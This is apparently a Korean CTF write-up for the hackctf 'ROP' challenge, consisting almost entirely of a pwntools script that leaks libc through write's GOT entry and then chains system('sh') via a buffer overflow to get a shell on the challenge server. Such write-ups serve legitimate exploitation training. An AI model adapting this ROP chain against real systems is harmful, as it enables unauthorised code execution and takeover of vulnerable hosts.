CTF write-up/hackctf
[hackctf]ROP
youngsouk
2019. 7. 15. 08:51
from pwn import *
#p = process('./rop')
p = remote('ctf.j0n9hyun.xyz', 3018)
e = ELF('./rop')
#lib = e.libc
lib = ELF("libc.so.6")
context.log_level = "debug"
ppp_r = 0x08048509
main = 0x08048470
payload = 'a' * 0x88 + 'b' * 4
payload += p32(e.plt['write']) + p32(ppp_r) + p32(1) + p32(e.got['write']) + p32(4)
payload += p32(main)
p.sendline(payload)
libc = u32(p.recv(4)) - lib.sym['write']
log.info(hex(libc))
payload = 'a' * 0x88 + 'b' * 4
payload += p32(e.plt['read']) + p32(ppp_r) + p32(0) + p32(e.bss()) + p32(8)
payload += p32(libc + lib.sym['system']) + p32(0) + p32(e.bss())
p.sendline(payload)
p.send('sh\x00')
p.interactive()
말그대로 ROP를 통해 write의 실제 주소를 출력해주고 그것을 바탕으로 libc 릭 해서 익스를 따면 된다.